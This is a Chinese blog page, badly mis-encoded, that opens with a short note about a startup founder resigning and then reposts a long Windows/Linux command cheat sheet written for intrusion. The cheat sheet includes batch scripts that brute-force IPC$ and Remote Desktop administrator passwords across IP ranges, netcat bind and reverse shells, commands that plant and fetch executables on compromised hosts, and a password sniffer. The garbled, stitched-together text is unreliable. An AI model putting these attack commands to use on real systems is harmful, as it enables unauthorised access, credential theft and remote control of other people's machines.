记得W一ơ知道高燃这个h是在《鲁豫有U》的节目上?
听他讲诉自己的故事，觉得他很?jin)不P有时候我是个很佩服学?fn)好的hQ特别是那张非死M的h。一个专业生能考上清华Q本w就是g轰动的事情。后来听他是如何成功的拉倒风险投资已l创建Mysee?
自那以后Q我׃直有x他的blogQ看他的博文Q听他的故事?
他本是我们的一个榜P一个值得学习(fn)的榜栗?
可最q却辞职?jin)。谁都知道，他怎么可能辞职呢？肯定是被T的?
由此。艾。最后控制的q是掌握资本的h。而非掌握技术或者。。。。。?/p>
]]>
见到|络?觉得值得学习(fn),Ҏ(gu)收藏到这?因ؓ(f)我几乎天天来q个|站
net use \\ip\ipc$ " " /user:" " 建立IPCI链?
net use \\ip\ipc$ "密码" /user:"用户? 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户? 直接登陆后映对方CQ到本地为H:
net use h: \\ip\c$ 登陆后映对方CQ到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射Ҏ(gu)到本地的为H:的映?
net user 用户名 密码 /add 建立用户
net user guest /active:yes Ȁzguest用户
net user 查看有哪些用?
net user 帐户?查看帐户的属?
net localgroup administrators 用户?/add ?用户"d到管理员?sh)其具有管理员权?注意Qadministrator后加s用复?
net start 查看开启了(jin)哪些服务
net start 服务名 开启服务；(?net start telnetQ?net start schedule)
net stop 服务?停止某服?
net time \\目标ip 查看Ҏ(gu)旉
net time \\目标ip /set 讄本地计算机时间与"目标IP"L的时间同?加上参数/yes可取消确认信?
net view 查看本地局域网内开启了(jin)哪些׃n
net view \\ip 查看Ҏ(gu)局域网内开启了(jin)哪些׃n
net config 昄pȝ|络讄
net logoff 断开q接的共?
net pause 服务?暂停某服?
net send ip "文本信息" 向对方发信息
net ver 局域网内正在用的|络q接cd和信?
net share 查看本地开启的׃n
net share ipc$ 开启ipc$׃n
net share ipc$ /del 删除ipc$׃n
net share c$ /del 删除CQ共?
net user guest 12345 用guest用户登陆后用密码改?2345
net password 密码 更改pȝ登陆密码
netstat -a 查看开启了(jin)哪些端口,常用netstat -an
netstat -n 查看端口的网l连接情况，常用netstat -an
netstat -v 查看正在q行的工?
netstat -p 协议?例：(x)netstat -p tcq/ip 查看某协议用情况（查看tcp/ip协议使用情况Q?
netstat -s 查看正在使用的所有协议用情?
nbtstat -A ip Ҏ(gu)136?39其中一个端口开?jin)的话，可查看?gu)最q登陆的用户名（03前的为用户名Q?注意Q参?A要大?
tracert -参数 ip(或计机? 跟踪路由Q数据包Q，参数Q?-w数字"用于讄时间隔?
ping ip(或域? 向对方主机发送默认大ؓ(f)32字节的数据，参数Q?-l[I格]数据包大?Q?-n发送数据次?Q?-t"指一直ping?
ping -t -l 65550 ip M之ping(发送大?4K的文件ƈ一直ping成?jin)死亡之ping)
ipconfig (winipcfg) 用于windows NT?qing)XP(windows 95 98)查看本地ip地址Qipconfig可用参数"/all"昄全部配置信息
tlist -t 以树(wi)行列表显CE?为系l的附加工具Q默认是没有安装的，在安装目录的Support/tools文g夹内)
kill -F q程??F参数后强制结束某q程(为系l的附加工具Q默认是没有安装的，在安装目录的Support/tools文g夹内)
del -F 文g??F参数后就可删除只L?/AR?AH?AS?AA分别表示删除只读、隐藏、系l、存档文Ӟ/A-R?A-H?A-S?A-A表示删除除只诅R隐藏、系l、存档以外的文g。例?DEL/AR *.*"表示删除当前目录下所有只LӞ"DEL/A-S *.*"表示删除当前目录下除pȝ文g以外的所有文?/p>
#2 二：(x)
del /S /Q 目录 或用Qrmdir /s /Q 目录 /S删除目录?qing)目录下的所有子目录和文件。同时用参?Q 可取消删除操作时的系l确认就直接删除。（二个命o(h)作用相同Q?
move 盘符\路径\要移动的文g名 存放Ud文g的\径\Ud后文件名 Ud文g,用参?y取消确认移动目录存在相同文件的提示q接覆?
fc one.txt two.txt > 3st.txt Ҏ(gu)二个文gq把不同之处输出?st.txt文g中，"> "?> >" 是重定向命o(h)
at id?开启已注册的某个计划Q?
at /delete 停止所有计划Q务，用参?yes则不需要确认就直接停止
at id?/delete 停止某个已注册的计划d
at 查看所有的计划d
at \\ip time E序?或一个命? /r 在某旉q行Ҏ(gu)某程序ƈ重新启动计算?
finger username @host 查看最q有哪些用户登陆
telnet ip 端口 q和登陆服务?默认端口?3
open ip q接到IPQ属telnet登陆后的命o(h)Q?
telnet 在本Z直接键入telnet 进入本机的telnet
copy 路径\文g? 路径\文g? /y 复制文g1到指定的目录为文?Q用参数/y同时取消确认你要改写一份现存目录文?
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin?
cppy 1st.jpg/b+2st.txt/a 3st.jpg ?st.txt的内容藏w到1st.jpg中生?st.jpg新的文gQ注Q?st.txt文g头要IZ排，参数Q?b指二q制文gQ?a指ASCLL格式文g
copy \\ip\admin$\svv.exe c:\ ?copy\\ip\admin$\*.* 复制Ҏ(gu)admini$׃n下的srv.exe文gQ所有文Ӟ(j)x地CQ?
xcopy 要复制的文g或目录树(wi) 目标地址\目录?复制文g和目录树(wi)Q用参数/Y不提示覆盖相同文g
tftp -i 自己IP(用肉Zx时这用肉机IP) get server.exe c:\server.exe 登陆后，?IP"的server.exe下蝲到目标主机c:\server.exe 参数Q?i指以二进制模式传送，如传送exe文g时用Q如不加-i 则以ASCII模式Q传送文本文件模式）(j)q行传?
tftp -i Ҏ(gu)IP put c:\server.exe 登陆后，上传本地c:\server.exe至主?
ftp ip 端口 用于上传文gx务器或进行文件操作，默认端口?1。bin指用二进制方式传送（可执行文件进Q；默认为ASCII格式传?文本文g?
route print 昄出IP路由Q将主要昄|络地址Network addresQ子|掩码NetmaskQ网兛_址Gateway addresQ接口地址Interface
arp 查看和处理ARP~存QARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a显C出全部信息
start E序名或命o(h) /max ?min 新开一个新H口q最大化Q最化Q运行某E序或命?
mem 查看cpu使用情况
attrib 文g?目录? 查看某文Ӟ目录Q的属?
attrib 文g?-A -R -S -H ?+A +R +S +H L(d)某文件的 存档Q只读，pȝQ隐?属性；用＋则是d为某属?
dir 查看文gQ参敎ͼ(x)/Q昄文g?qing)目录属pȝ哪个用户Q?T:C昄文g创徏旉Q?T:A昄文g上次被访问时_(d)/T:W上次被修Ҏ(gu)?
date /t ?time /t 使用此参数即"DATE/T"?TIME/T"只昄当前日期和时_(d)而不必输入新日期和时?
set 指定环境变量名称=要指z变量的字W?讄环境变量
set 昄当前所有的环境变量
set p(或其它字W? 昄出当前以字符p(或其它字W?开头的所有环境变?
pause 暂停批处理程序，q显C出Q请按Q意键l箋....
if 在批处理E序中执行条件处理（更多说明见if命o(h)?qing)变量?j)
goto 标签 cmd.exe导向到批处理E序中带标签的行Q标{ֿd独一行，且以冒号打头Q例如：(x)"Qstart"标签Q?
call 路径\批处理文件名 从批处理E序中调用另一个批处理E序 Q更多说明见call /?Q?
for 对一l文件中的每一个文件执行某个特定命令（更多说明见for命o(h)?qing)变量?j)
echo on或off 打开或关闭echoQ仅用echo不加参数则显C当前echo讄
echo 信息 在屏q上昄Z?
echo 信息 >> pass.txt ?信息"保存到pass.txt文g?
findstr "Hello" aa.txt 在aa.txt文g中寻扑֭W串hello
find 文g?查找某文?
title 标题名字 更改CMDH口标题名字
color 颜色?讄cmd控制台前景和背景颜色Q?Q黑?Q蓝?Q绿?Q浅lѝ?Q红?Q?Q黄?=白?=灰?=淡蓝、AQElѝB=淡浅lѝC=淡红、D=淡、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显C的命o(h)提示W?把C:\、D:\l一改ؓ(f)QEntSky\ )
#3 三：(x)
ver 在DOSH口下显C版本信?
winver 弹出一个窗口显C版本信息（内存大小、系l版本、补丁版本、计机名）(j)
format 盘符 /FS:cd 格式化磁?cd:FAT、FAT32、NTFS ,例：(x)Format D: /FS:NTFS
md 目录?创徏目录
replace 源文件 要替换文件的目录 替换文g
ren 原文件名 新文件名 重命名文件名
tree 以树(wi)形结构显C出目录Q用参数-f 列出第个文件夹中文件名U?
type 文g?昄文本文g的内?
more 文g?逐屏昄输出文g
doskey 要锁定的命o(h)Q字W?
doskey 要解锁命? 为DOS提供的锁定命?~辑命o(h)行，重新调用win2k命o(h)Qƈ创徏?。如Q锁定dir命o(h)Qdoskey dir=entsky (不能用doskey dir=dir)Q解锁：(x)doskey dir=
taskmgr 调出d理?
chkdsk /F D: (g)查磁盘Dq显C状态报告；加参?fq修复磁盘(sh)的错?
tlntadmn telnt服务admn,键入tlntadmn选择3Q再选择8,可以更改telnet服务默认端口23为其它Q何端?
exit 退出cmd.exeE序或目前，用参?B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文g?为可执行文g讄一个\径?
cmd 启动一个win2K命o(h)解释H口。参敎ͼ(x)/eff?en 关闭、开启命令扩展；更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表；参数/S指安?rn)模式导入，无Q何提C；
regedit /e 注册表文件名 导出注册?
cacls 文g名 参数 昄或修Ҏ(gu)件访问控制列表（ACLQ——针对NTFS格式时。参敎ͼ(x)/D 用户?讑֮拒绝某用戯问；/P 用户?perm 替换指定用户的访问权限；/G 用户?perm 赋予指定用户讉K权限QPerm 可以? N 无，R dQ?W 写入Q?C 更改(写入)QF 完全控制Q例Qcacls D:\test.txt /D pub 讑֮d:\test.txt拒绝pub用户讉K?
cacls 文g?查看文g的访问用h限列?
REM 文本内容 在批处理文g中添加注?
netsh 查看或更Ҏ(gu)地网l配|情?/p>
#4 四：(x)
IIS服务命o(h)Q?
iisreset /reboot 重启win2k计算机（但有提示pȝ重启信息出玎ͼ(j)
iisreset /start或stop 启动Q停止）(j)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 昄所有Internet服务状?
iisreset /enable或disable 在本地系l上启用Q禁用）(j)Internet服务的重新启?
iisreset /rebootonerror 当启动、停止或重新启动Internet服务Ӟ若发生错误将重新开?
iisreset /noforce 若无法停止Internet服务Q将不会(x)强制l止Internet服务
iisreset /timeout Val在到N时_(d)U）(j)Ӟ仍未停止Internet服务Q若指定/rebootonerror参数Q则?sh)脑?x)重新开机。预讑րgؓ(f)重新启动20U，停止60U，重新开?U?
FTP 命o(h)Q?(后面有详l说明内?
ftp的命令行格式?
ftp Qv Qd Qi Qn Qg[L名] Qv 昄q程服务器的所有响应信息?
Qd 使用调试方式?
Qn 限制ftp的自动登?即不使用.netrc文g?
Qg 取消全局文g名?
help [命o(h)] ?Q[命o(h)] 查看命o(h)说明
bye ?quit l止LFTPq程,q出FTP理方式.
pwd 列出当前q端L目录
put ?send 本地文g?[上传CZ的文件名] 本C个文件传送至q端L?
get ?recv [q程L文g名] [下蝲到本地后的文件名] 从远端主Z传送至本地L?
mget [remote-files] 从远端主机接收一Ҏ(gu)件至本地L
mput local-files 本CZ一Ҏ(gu)件传送至q端L
dir ?ls [remote-directory] [local-file] 列出当前q端L目录中的文g.如果有本地文?将l果写至本地文g
ascii 讑֮以ASCII方式传送文?~省?
bin ?image 讑֮以二q制方式传送文?
bell 每完成一ơ文件传?报警提示
cdup q回上一U目?
close 中断与远E服务器的ftp?x)?与open对应)
open host[port] 建立指定ftp服务器连?可指定连接端?
delete 删除q端L中的文g
mdelete [remote-files] 删除一Ҏ(gu)?
mkdir directory-name 在远端主Z建立目录
rename [from] [to] 改变q端L中的文g?
rmdir directory-name 删除q端L中的目录
status 昄当前FTP的状?
system 昄q端Lpȝcd
user user-name [password] [account] 重新以别的用户名dq端L
open host [port] 重新建立一个新的连?
prompt 交互提示模式
macdef 定义宏命?
lcd 改变当前本地L的工作目?如果~省,p{到当前用L(fng)HOME目录
chmod 改变q端L的文件权?
case 当ؓ(f)ON?用MGET命o(h)拯的文件名到本地机器中,全部转换为小写字?
cd remoteQdir q入q程L目录
cdup q入q程L目录的父目录
! 在本地机中执行交互shellQexit回到ftp环境,?lsQ?zip
#5 五：(x)
MYSQL 命o(h)Q?
mysql -hL地址 -u用户?Qp密码 q接MYSQL;如果刚安装好MYSQLQ超U用户root是没有密码的?
Q例Qmysql -h110.110.110.110 -Uroot -P123456
?u与root可以不用加空|其它也一P(j)
exit 退出MYSQL
mysqladmin -u用户?-p旧密?password 新密?修改密码
grant select on 数据?* to 用户名@dL identified by \"密码\"; 增加新用戗（注意Q和上面不同Q下面的因ؓ(f)是MYSQL环境中的命o(h)Q所以后面都带一个分号作为命令结束符Q?
show databases; 昄数据库列表。刚开始时才两个数据库Qmysql和test。mysql库很重要它里面有MYSQL的系l信息，我们改密码和新增用户Q实际上是用这个库q行操作?
use mysqlQ?
show tables; 昄库中的数据表
describe 表名; 昄数据表的l构
create database 库名; 建库
use 库名Q?
create table 表名 (字段讑֮列表)Q?
drop database 库名;
drop table 表名Q?删库和删?
delete from 表名; 表中记录清I?
select * from 表名; 昄表中的记?
mysqldump --opt school>school.bbb 备䆾数据库：(x)Q命令在DOS的\\mysql\\bin目录下执行）(j);注释:数据库school备䆾到school.bbb文gQschool.bbb是一个文本文Ӟ文g名Q取，打开看看你会(x)有新发现?
win2003pȝ下新增命令（实用部䆾Q：(x)
shutdown /参数 关闭或重启本地或q程L?
参数说明Q?S 关闭LQ?R 重启LQ?/T 数字 讑֮延时的时_(d)范围0?80U之_(d) /A取消开机，/M //IP 指定的远E主机?
例：(x)shutdown /r /t 0 立即重启本地LQ无延时Q?
taskill /参数 q程名或q程的pid l止一个或多个d和进E?
参数说明Q?PID 要终止进E的pid,可用tasklist命o(h)获得各进E的pidQ?IM 要终止的q程的进E名Q?F 强制l止q程Q?T l止指定的进E及(qing)他所启动的子q程?
tasklist 昄当前q行在本地和q程L上的q程、服务、服务各q程的进E标识符(PID)?
参数说明Q?M 列出当前q程加蝲的dll文gQ?SVC 昄出每个进E对应的服务Q无参数时就只列出当前的q程?/p>
#6 六：(x)
Linuxpȝ下基本命令：(x) 要区分大写
uname 昄版本信息Q同win2K?verQ?
dir 昄当前目录文g,ls -al 昄包括隐藏文gQ同win2K?dirQ?
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录，注意cd ?.之间有空根{cd /q回到根目录?
cat 文g?查看文g内容
cat >abc.txt 往abc.txt文g中写上内宏V?
more 文g?以一一늚方式昄一个文本文件?
cp 复制文g
mv Ud文g
rm 文g?删除文gQrm -a 目录名删除目录及(qing)子目?
mkdir 目录?建立目录
rmdir 删除子目录，目录内没有文档?
chmod 讑֮档案或目录的存取权限
grep 在档案中查找字符?
diff 档案文g比较
find 档案搜寻
date 现在的日期、时?
who 查询目前和你使用同一台机器的Z?qing)Login旉地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名U?
groups 查看某h的Group
passwd 更改密码
history 查看自己下过的命?
ps 昄q程状?
kill 停止某进E?
gcc 黑客通常用它来编译C语言写的文g
su 权限转换为指定用?
telnet IP telnetq接Ҏ(gu)LQ同win2KQ，当出现bash$时就说明q接成功?
ftp ftpq接上某服务器（同win2KQ?
附：(x)批处理命令与变量
1Qfor命o(h)?qing)变?基本格式Q?
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数Q如Q?i Q而指定一个变量则用：(x)%%i Q而调用变量时用：(x)%i% Q变量是区分大小写的Q?i 不等?%IQ?
批处理每ơ能处理的变量从%0?9?0个，其中%0默认l批处理文g名用，%1默认Z用此批处理时输入的的W一个|同理Q?2?9指输入的W?-9个|例：(x)net use \\ip\ipc$ pass /user:user 中ip?1,pass?2 ,user?3
(set):指定一个或一l文Ӟ可用通配W，如：(x)(D:\user.txt)?1 1 254)(1 -1 254),{ "(1 1 254)"W一?1"指v始|W二?1"指增镉KQ第三个"254"指结束|卻I(x)??54Q?(1 -1 254)"说明Q即?54? }
commandQ指定对W个文g执行的命令，如：(x)net use命o(h)Q如要执行多个命令时Q命令这间加Q? 来隔开
command_parametersQؓ(f)特定命o(h)指定参数或命令行开?/p>
IN (set)Q指?set)中取|DO command Q指执行command
参数Q?L 指用增量形式{ (set)为增量Ş式时 }Q?F 指从文g中不断取|直到取完为止{ (set)为文件时Q如(d:\pass.txt)?}?
用法举例Q?
@echo off
echo 用法格式Qtest.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命o(h)成功完成" >>test.txt
存(sh)ؓ(f)test.bat 说明Q对指定的一个CcȝD늚254个IP依次试徏立administrator密码为空的IPC$q接Q如果成功就把该IP存在test.txt中?/p>
/L指用增量形式Q即?-254?54-1Q；输入的IP前面三位Q?.*.*为批处理默认?%1Q?%G 为变?ip的最后一位）(j)Q? 用来隔开echo 和net use q二个命令；| 指徏立了(jin)ipc$后，在结果中用find查看是否?命o(h)成功完成"信息Q?1.%%G 为完整的IP地址Q?1 1 254) 指v始|增长量，l止倹{?
@echo off
echo 用法格式Qok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存(sh)ؓ(f)Qok.exe 说明Q输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码Q直到文件中值取完ؓ(f)止?%i为用户名Q?1入的IP地址Q默认）(j)?/p>
#7 七：(x)
2Qif命o(h)?qing)变?基本格式Q?
IF [not] errorlevel 数字 命o(h)语句 如果E序q行最后返回一个等于或大于指定数字的退出编码，指定条g???
例：(x)IF errorlevel 0 命o(h) 指程序执行后q回的gؓ(f)0ӞD后面的命令；IF not errorlevel 1 命o(h)指程序执行最后返回的g{于1Q就执行后面的命令?
0 指发现ƈ成功执行Q真Q；1 指没有发现、没执行Q假Q?
IF [not] 字符?==字符? 命o(h)语句 如果指定的文本字W串匚wQ即Q字W串1 {于 字符?Q，执行后面的命o(h)?
例：(x)"if "%2%"=="4" goto start"指：(x)如果输入的第二个变量?Ӟ执行后面的命令（注意Q调用变量时?变量?q加" "Q?
IF [not] exist 文g?命o(h)语句 如果指定的文件名存在Q就执行后面的命令?
例：(x)"if not nc.exe goto end"指：(x)如果没有发现nc.exe文gp?:end"标签处?
IF [not] errorlevel 数字 命o(h)语句 else 命o(h)语句?IF [not] 字符?==字符? 命o(h)语句 else 命o(h)语句?IF [not] exist 文g?命o(h)语句 else 命o(h)语句 加上Qelse 命o(h)语句后指Q当前面的条件不成立Ӟ指行else后面的命令。注意：(x)else 必须?if 在同一行才有效?当有del命o(h)旉把del命o(h)全部内容?lt; >括v来，因ؓ(f)del命o(h)要单独一行时才能执行Q用?lt; >后就{于是单独一行了(jin)Q例如：(x)"if exist test.txt. else echo test.txt.missing "Q注意命令中?."
Q二Q系l外部命?均需下蝲相关工具)Q?/p>
1、瑞士军刀Qnc.exe
参数说明Q?
-h 查看帮助信息
-d 后台模式
-e progE序重定向，一但连接就执行Qd险］
-i secs延时的间?
-l 监听模式Q用于入站连?
-L 监听模式Q连接天闭后仍然l箋监听Q直到CTR+C
-n IP地址Q不能用域名
-o film记录16q制的传?
-p[I格]端口 本地端口?
-r 随机本地?qing)远E端?
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出Q用-vv更详细
-w数字 timeout延时间隔
-z 输入，输出xQ用于扫锚时Q?
基本用法Q?
nc -nvv 192.168.0.1 80 q接?92.168.0.1L?0端口
nc -l -p 80 开启本机的TCP 80端口q监?
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1?0-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe l定remoteL的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remoteL的cmdshellq反向连?92.168.0.2?354端口
高用法Q?
nc -L -p 80 作ؓ(f)蜜罐?Q开启ƈ不停地监?0端口Q直到CTR+C为止
nc -L -p 80 > c:\log.txt 作ؓ(f)蜜罐?Q开启ƈ不停地监?0端口Q直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作ؓ(f)蜜罐?-1Q开启ƈ不停地监?0端口Q直到CTR+C,q把c:\honeyport.txt中内定w入道中，亦可起到传送文件作?
type.exe c:\honeyport | nc -L -p 80 作ؓ(f)蜜罐?-2Q开启ƈ不停地监?0端口Q直到CTR+C,q把c:\honeyport.txt中内定w入道?亦可起到传送文件作?
本机上用Qnc -l -p 本机端口
在对方主Z用：(x)nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向q接H破Ҏ(gu)L的防火墙
本机上用Qnc -d -l -p 本机端口 < 要传送的文g路径?qing)名U?
在对方主Z用：(x)nc -vv 本机IP 本机端口 > 存放文g的\径及(qing)名称 传送文件到Ҏ(gu)L
?注：(x)
| 道命o(h)
< ?> 重定向命令?<"Q例如：(x)tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命o(h)
Q?表示执行Q后面的命o(h)Q但不会(x)昄出来Q后台执行）(j)Q例Q＠dir c:\winnt >> d:\log.txt 意思是Q后台执行dirQƈ把结果存在d:\log.txt?
>?>的区? ">"指：(x)覆盖Q?>>"指：(x)保存?d刎ͼ(j)?
如：(x)@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命o(h)分别执行二次比较看：(x)?>的则是把二次的结果都保存?sh)(jin)，而用Q?则只有一ơ的l果Q是因ؓ(f)W二ơ的l果把第一ơ的覆盖?jin)?/p>
#8 八：(x)
2、扫锚工P(x)xscan.exe
基本格式
xscan -host <起始IP>[-<l止IP>] <(g)项? [其他选项] 扫锚"起始IP到终止IP"D늚所有主Z?
xscan -file <L列表文g? <(g)项? [其他选项] 扫锚"LIP列表文g?中的所有主Z?
(g)项?
-active (g)主机是否存?gu)z?
-os (g)远E操作系l类型（通过NETBIOS和SNMP协议Q?
-port (g)常用服务的端口状?
-ftp (g)FTP弱口?
-pub (g)FTP服务匿名用户写权?
-pop3 (g)POP3-Server弱口?
-smtp (g)SMTP-Server漏洞
-sql (g)SQL-Server弱口?
-smb (g)NT-Server弱口?
-iis (g)IIS~码/解码漏洞
-cgi (g)CGI漏洞
-nasl 加蝲Nessusd脚本
-all (g)以上所有项?
其它选项
-i 适配器编?讄|络适配? <适配器编?可通过"-l"参数获取
-l 昄所有网l适配?
-v 昄详细扫描q度
-p 跌没有响应的主?
-o 跌没有(g)到开攄口的L
-t q发U程数量,q发L数量 指定最大ƈ发线E数量和q发L数量, 默认数量?00,10
-log 文g?指定扫描报告文g?(后缀为：(x)TXT或HTML格式的文?
用法CZ
xscan -host 192.168.1.1-192.168.255.255 -all -active -p (g)?92.168.1.1-192.168.255.255|段内主机的所有漏z，跌无响应的L
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o (g)?92.168.1.1-192.168.255.255|段内主机的标准端口状态，NT弱口令用P最大ƈ发线E数量ؓ(f)150Q蟩q没有检到开攄口的L
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o (g)?hostlist.txt"文g中列出的所有主机的标准端口状态，CGI漏洞Q最大ƈ发线E数量ؓ(f)200Q同一时刻最多检?C机，昄详细(g)进度，跌没有(g)到开攄口的L
#9 ?ji)?x)
3、命令行方式嗅探? xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据?
-udp 输出UDP数据?
-icmp 输出ICMP数据?
-pass qo(h)密码信息
-hide 后台q行
-host 解析L?
-addr IP地址 qo(h)IP地址
-port 端口 qo(h)端口
-log 文g?输Z存到文g
-asc 以ASCII形式输出
-hex ?6q制形式输出
用法CZ
xsniff.exe -pass -hide -log pass.log 后台q行嗅探密码q将密码信息保存在pass.log文g?
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1q过滤tcp和udp信息q以ASCII格式输出
4、终端服务密码破? tscrack.exe
参数说明
-h 昄使用帮助
-v 昄版本信息
-s 在屏q上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个q接Q多U程Q?
-N Prevent System Log entries on targeted server
-U 卸蝲U除tscracklg
-f 使用Qf后面的密?
-F 间隔旉Q频率）(j)
-l 使用Ql后面的用户名
-w 使用Qw后面的密码字?
-p 使用Qp后面的密?
-D d主页?
用法CZ
tscrack 192.168.0.1 -l administrator -w pass.dic q程用密码字典文件暴破主机的administrator的登陆密?
tscrack 192.168.0.1 -l administrator -p 123456 用密?23456q程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存?sh)?389.bat) Q假讄有用SuperScan或其它扫锚器扫到一批开?389的主机IP列表文g3389.txt)
3389.bat意思是Q从3389.txt文g中取一个IPQ接着q行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存?sh)hack.bat) (q行3389.batO(jin)KQ且3389.bat、hack.bat?389.txt、pass.dic与tscrack.exe在同一个目录下Q就可以{待l果?
hack.bat意思是Q运行tscrack.exe用字典暴?389.txt中所有主机的administrator密码Qƈ破解结果保存在rouji.txt文g中?
5、其它：(x)
Shutdown.exe
Shutdown \\IP地址 t:20 20U后对方NT自动关闭QWindows 2003pȝ自带工具Q在Windows2000下用q就得下载此工具才能用。在前面Windows 2003 DOS命o(h)中有详细介绍。）(j)
fpipe.exe (TCP端口重定向工? 在第二篇中有详细说明Q端口重定向l过防火墙）(j)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你?0端口Ӟ他扫到的l果?x)完全是www.sina.com.cn的主Z?
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnethl端口重定向后，通过88端口发送到目标IP?3端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）(j)然后Q直接Telnet 127.0.0.1Q本机IPQ就q接到目标IP?3端口?jin)?
OpenTelnet.exe (q程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 Q不需要上传ntlm.exe破坏微Y的n份验证方式）(j)直接q程开启对方的telnet服务后，可用telnet \\ip q接上对斏V?
NTLM认证方式Q０Q不使用NTLMw䆾验证Q１Q先试NTLMw䆾验证Q如果失败，再用用户名和密码；Q：(x)只用NTLMw䆾验证?/p>
ResumeTelnet.exe (OpenTelnet附带的另一个工?
resumetelnet.exe \\IP 帐号 密码 用Telnetq接完对方后Q就用这个命令将Ҏ(gu)的Telnet讄q原Qƈ同时关闭Telnet服务?/p>
#10 十：(x)
6、FTP命o(h)详解Q?/p>
FTP命o(h)是Internet用户使用最频繁的命令之一Q熟(zhn)ƈ灉|应用FTP的内部命令，可以大大方便使用者，q收C半功倍之效。如果你惛_?fn)用进行后台FTP下蝲Q那么就必须学习(fn)FTP指o(h)?/p>
FTP的命令行格式为：(x)
ftp -v -d -i -n -g [L名] Q其?/p>
-v 昄q程服务器的所有响应信息；
-n 限制ftp的自动登录，即不使用Q?n etrc文gQ?/p>
-d 使用调试方式Q?/p>
-g 取消全局文g名?/p>
FTP使用的内部命令如?中括可C可选项):
1.![cmd[args]]Q在本地Z执行交互shellQexit回到ftp环境Q如Q?ls*.zip
2.$ macro-ame[args]Q?执行宏定义macro-name?/p>
3.account[password]Q?提供dq程pȝ成功后访问系l资源所需的补充口令?
4.append local-file[remote-file]Q将本地文gq加到远E系l主机，若未指定q程pȝ文g名，则用本地文件名?/p>
5.asciiQ用asciicd传输方式?
6.bellQ每个命令执行完毕后计算机响铃一ơ?/p>
7.binQ用二q制文g传输方式?
8.byeQ退出ftp?x)话q程?/p>
9.caseQ在使用mgetӞ远E主机文件名中的大写转ؓ(f)写字母?
10.cd remote-dirQ进入远E主机目录?/p>
11.cdupQ进入远E主机目录的父目录?
12.chmod mode file-nameQ将q程L文gfile-name的存取方式设|ؓ(f)modeQ如Qchmod 777 a.out?/p>
13.closeQ中断与q程服务器的ftp?x)?与open对应)?
14.crQ用asscii方式传输文gӞ回车换行{换ؓ(f)回行?/p>
15.delete remote-fileQ删除远E主机文件?
16.debug[debug-value]Q设|调试方式， 昄发送至q程L的每条命令，如：(x)deb up 3Q若设ؓ(f)0Q表C取消debug?/p>
17.dir[remote-dir][local-file]Q显CE主机目录，q将l果存入本地文g?
18.disconnectionQ同close?/p>
19.form formatQ将文g传输方式讄为formatQ缺省ؓ(f)file方式?
20.get remote-file[local-file]Q?远E主机的文gremote-file传至本地盘的local-file?/p>
21.globQ设|mdeleteQmgetQmput的文件名扩展Q缺省时不扩展文件名Q同命o(h)行的-g参数?
22.hashQ每传输1024字节Q显CZ个hashW号(#)?/p>
23.help[cmd]Q显Cftp内部命o(h)cmd的帮助信息，如：(x)help get?
24.idle[seconds]Q将q程服务器的休眠计时器设为[seconds]U?/p>
25.imageQ设|二q制传输方式(同binary)?
26.lcd[dir]Q将本地工作目录切换至dir?/p>
27.ls[remote-dir][local-file]Q显CE目录r(sh)emote-dirQ?q存入本地文件local-file?
28.macdef macro-nameQ定义一个宏Q遇到macdef下的IӞ宏定义结束?/p>
29.mdelete[remote-file]Q删除远E主机文件?
30.mdir remote-files local-fileQ与dircMQ但可指定多个远E文Ӟ?Qmdir *.o.*.zipoutfile ?/p>
31.mget remote-filesQ传输多个远E文件?
32.mkdir dir-nameQ在q程L中徏一目录?/p>
33.mls remote-file local-fileQ同nlistQ但可指定多个文件名?
34.mode[modename]Q将文g传输方式讄为modenameQ?~省为stream方式?/p>
35.modtime file-nameQ显CE主机文件的最后修Ҏ(gu)间?
36.mput local-fileQ将多个文g传输臌E主机?/p>
37.newer file-nameQ?如果q程Zfile-name的修Ҏ(gu)间比本地盘同名文g的时间更q，则重传该文g?
38.nlist[remote-dir][local-file]Q显CE主机目录的文g清单Qƈ存入本地盘的local-file?/p>
